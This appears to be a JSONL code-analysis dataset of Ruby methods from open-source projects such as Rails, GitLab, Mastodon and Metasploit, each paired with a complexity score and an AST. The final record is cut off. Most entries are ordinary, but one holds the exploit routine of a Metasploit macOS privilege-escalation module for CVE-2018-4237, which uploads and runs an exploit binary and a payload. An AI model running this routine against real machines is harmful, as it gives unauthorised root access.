{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/settings/work_package_custom_fields.rb","start_line":57,"raw_source":"def activate(custom_field)\n          check custom_field.name\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"activate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"name\"]}]}]}","id":"84a2f69b-e089-49e4-9446-9dfd392b073e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/signature_verification_spec.rb","start_line":653,"raw_source":"def stub_tests_controller\n    stub_const('ActivityPub::TestsController', activitypub_tests_controller)\n\n    Rails.application.routes.draw do\n      # NOTE: RouteSet#draw removes all routes, so we need to re-insert one\n      resource :instance_actor, path: 'actor', only: [:show]\n\n      match :via => [:get, :post], '/activitypub/success' => 'activitypub/tests#success'\n      match :via => [:get, :post], '/activitypub/alternative-path' => 'activitypub/tests#alternative_success'\n      match :via => [:get, :post], '/activitypub/signature_required' => 'activitypub/tests#signature_required'\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_tests_controller\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_const\",{\"type\":\"str\",\"children\":[\"ActivityPub::TestsController\"]},{\"type\":\"send\",\"children\":[null,\"activitypub_tests_controller\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"instance_actor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"actor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"show\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/activitypub/success\"]},{\"type\":\"str\",\"children\":[\"activitypub/tests#success\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/activitypub/alternative-path\"]},{\"type\":\"str\",\"children\":[\"activitypub/tests#alternative_success\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/activitypub/signature_required\"]},{\"type\":\"str\",\"children\":[\"activitypub/tests#signature_required\"]}]}]}]}]}]}]}]}","id":"17e6c024-45dd-452f-9b73-3a37d2c9df11"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/update_service.rb","start_line":314,"raw_source":"def rebase_from_quick_action(merge_request)\n      merge_request.rebase_async(current_user.id)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rebase_from_quick_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"rebase_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}","id":"fd37bc06-7a90-491a-8980-6dde3fd2ad23"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/encoding.rb","start_line":20,"raw_source":"def on_new_investigation\n          return if processed_source.buffer.source.empty?\n\n          comments.each do |line_number, comment|\n            next unless offense?(comment)\n\n            register_offense(line_number, comment)\n          end\n        end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"buffer\"]},\"source\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line_number\"]},{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offense?\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"line_number\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]}]}]}]}","id":"2c8fca61-a96b-47e7-a39b-eda75dad554e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/destroy_async_parent_soft_delete.rb","start_line":16,"raw_source":"def destroy\n    update(deleted: true)\n    run_callbacks(:destroy)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"run_callbacks\",{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}","id":"1033aac6-2f2f-41f4-933f-e48257c93ee0"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/workers/notifications/schedule_reminder_mails_job_spec.rb","start_line":60,"raw_source":"def set_cron_time(job, cron_at)\n    GoodJob::Job\n      .where(id: job.job_id)\n      .update_all(cron_at:)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cron_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"cron_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoodJob\"]},\"Job\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"job_id\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cron_at\"]},{\"type\":\"lvar\",\"children\":[\"cron_at\"]}]}]}]}]}","id":"7307690a-46b9-488d-8407-4d7fdbbfaf4d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/env.rb","start_line":3,"raw_source":"def self.truthy?(env)\n      return false unless ENV[env]\n      return false if [\"no\", \"false\", \"off\", \"0\"].include?(ENV[env].to_s)\n      return true\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"truthy?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"no\"]},{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"str\",\"children\":[\"off\"]},{\"type\":\"str\",\"children\":[\"0\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"133eec13-99d3-4abd-96ee-3441ec39984b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tag_helper.rb","start_line":278,"raw_source":"def tag_string(name, content = nil, options, escape: true, &block)\n            content = @view_context.capture(self, &block) if block\n\n            content_tag_string(name, content, options, escape)\n          end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"content\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"kwoptarg\",\"children\":[\"escape\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view_context\"]},\"capture\",{\"type\":\"self\",\"children\":[]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"content_tag_string\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"escape\"]}]}]}]}","id":"54914bbc-0bef-45ef-90e3-5330e4619fe2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb","start_line":2426,"raw_source":"def cmd_getg(*args)\n    args.unshift('-g')\n\n    cmd_get(*args)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_getg\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"-g\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_get\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"9a4da14b-acc8-4ee4-90e2-2282c4394b1f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/libxpc_mitm_ssudo.rb","start_line":74,"raw_source":"def exploit\n    if check != CheckCode::Appears\n      fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n    end\n\n    if is_root?\n      fail_with Failure::BadConfig, 'Session already has root privileges'\n    end\n\n    unless writable? datastore['WritableDir']\n      fail_with Failure::BadConfig, \"#{datastore['WritableDir']} is not writable\"\n    end\n\n    exploit_data = File.binread(File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2018-4237\", \"ssudo\"))\n    exploit_file = \"#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}\"\n    upload_executable_file(exploit_file, exploit_data)\n    payload_file = \"#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}\"\n    upload_executable_file(payload_file, generate_payload_exe)\n    exploit_cmd = \"#{exploit_file} #{payload_file}\"\n    print_status(\"Executing cmd '#{exploit_cmd}'\")\n    cmd_exec(exploit_cmd)\n  end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not vulnerable\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session already has root privileges\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"str\",\"children\":[\" is not writable\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-4237\"]},{\"type\":\"str\",\"children\":[\"ssudo\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[12]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_executable_file\",{\"type\":\"lvar\",\"children\":[\"exploit_file\"]},{\"type\":\"lvar\",\"children\":[\"exploit_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[12]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_executable_file\",{\"type\":\"lvar\",\"children\":[\"payload_file\"]},{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_file\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing cmd '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_cmd\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"exploit_cmd\"]}]}]}]}","id":"782eda2a-743a-4799-9db2-f8d15c4d0239"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240612075303_add_sbom_occurrences_vulnerabilities_project_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :sbom_occurrences_vulnerabilities, column: :project_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"sbom_occurrences_vulnerabilities\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"44fd49bd-d4f5-439b-99ec-66b4dd8547b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_users_history.rb","start_line":72,"raw_source":"def execute(cmd)\n    vprint_status(\"Execute: #{cmd}\")\n    output = cmd_exec(cmd)\n    output\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Execute: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"8ad6a58b-98e8-4abb-918e-ffcca73f954d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_vulnerabilities_transitioned_from_dismissed_to_resolved.rb","start_line":89,"raw_source":"def scoped_vulnerability_reads(vulnerability_reads)\n        relation = vulnerability_reads.where(state: [Vulnerability.states[:detected], Vulnerability.states[:resolved]])\n\n        return relation if namespace_id == 'instance'\n\n        relation\n          .where(vulnerability_reads.arel_table[:traversal_ids].gteq([namespace_id]))\n          .where(vulnerability_reads.arel_table[:traversal_ids].lt([namespace_id.next]))\n      end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scoped_vulnerability_reads\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vulnerability_reads\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerability_reads\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vulnerability\"]},\"states\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"detected\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vulnerability\"]},\"states\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resolved\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_id\"]},\"==\",{\"type\":\"str\",\"children\":[\"instance\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerability_reads\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"traversal_ids\"]}]},\"gteq\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_id\"]}]}]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerability_reads\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"traversal_ids\"]}]},\"lt\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_id\"]},\"next\"]}]}]}]}]}]}","id":"d0b10115-2b91-40ce-929a-2aa66c4c64ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/feature_flag_helpers.rb","start_line":103,"raw_source":"def expect_status_toggle_button_to_be_disabled\n    expect(page).to have_css('[data-testid=\"feature-flag-status-toggle\"] button.is-disabled')\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_status_toggle_button_to_be_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"feature-flag-status-toggle\\\"] button.is-disabled\"]}]}]}]}","id":"bb3941d3-dd6f-4874-b136-a67cae895e71"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/tag_adjustment.rb","start_line":15,"raw_source":"def user_permissions\n    errors.add(:user_id, I18n.t(\"models.tag_adjustment.unpermitted\")) unless has_privilege_to_adjust?\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"user_permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_privilege_to_adjust?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.tag_adjustment.unpermitted\"]}]}]}]}]}","id":"dcc957ba-e355-40a8-abb4-41933e30364f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/finders/conversation_finder.rb","start_line":150,"raw_source":"def filter_by_team\n    return unless @team\n\n    @conversations = @conversations.where(team: @team)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_team\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@team\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@conversations\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team\"]},{\"type\":\"ivar\",\"children\":[\"@team\"]}]}]}]}]}]}]}","id":"207c5bc2-4a17-4322-9310-cf6ba50ab3cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/openvas/openvas_otp_login.rb","start_line":127,"raw_source":"def msg\n    \"#{rhost}:#{rport} OpenVAS OTP -\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"msg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" OpenVAS OTP -\"]}]}]}","id":"3d289e27-fec6-406d-8504-6f92ebb981f5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/text_helper_test.rb","start_line":225,"raw_source":"def test_highlight_with_regexp\n    assert_equal(\n      \"This is a <mark>beautiful!</mark> morning\",\n      highlight(\"This is a beautiful! morning\", \"beautiful!\")\n    )\n\n    assert_equal(\n      \"This is a <mark>beautiful! morning</mark>\",\n      highlight(\"This is a beautiful! morning\", \"beautiful! morning\")\n    )\n\n    assert_equal(\n      \"This is a <mark>beautiful? morning</mark>\",\n      highlight(\"This is a beautiful? morning\", \"beautiful? morning\")\n    )\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_highlight_with_regexp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"This is a <mark>beautiful!</mark> morning\"]},{\"type\":\"send\",\"children\":[null,\"highlight\",{\"type\":\"str\",\"children\":[\"This is a beautiful! morning\"]},{\"type\":\"str\",\"children\":[\"beautiful!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"This is a <mark>beautiful! morning</mark>\"]},{\"type\":\"send\",\"children\":[null,\"highlight\",{\"type\":\"str\",\"children\":[\"This is a beautiful! morning\"]},{\"type\":\"str\",\"children\":[\"beautiful! morning\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"This is a <mark>beautiful? morning</mark>\"]},{\"type\":\"send\",\"children\":[null,\"highlight\",{\"type\":\"str\",\"children\":[\"This is a beautiful? morning\"]},{\"type\":\"str\",\"children\":[\"beautiful? morning\"]}]}]}]}]}","id":"675eea09-3754-4f26-9e9c-ca65fd5748b6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/permitted_params.rb","start_line":284,"raw_source":"def project\n    whitelist = params.require(:project).permit(:name,\n                                                :description,\n                                                :public,\n                                                :responsible_id,\n                                                :identifier,\n                                                :project_type_id,\n                                                :parent_id,\n                                                :templated,\n                                                :status_code,\n                                                :status_explanation,\n                                                work_package_custom_field_ids: [],\n                                                type_ids: [],\n                                                enabled_module_names: [])\n\n    whitelist\n      .tap { nilify_params!(it, :status_code) }\n      .merge(custom_field_values(:project))\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"whitelist\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"sym\",\"children\":[\"responsible_id\"]},{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"sym\",\"children\":[\"project_type_id\"]},{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"sym\",\"children\":[\"templated\"]},{\"type\":\"sym\",\"children\":[\"status_code\"]},{\"type\":\"sym\",\"children\":[\"status_explanation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package_custom_field_ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled_module_names\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"whitelist\"]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\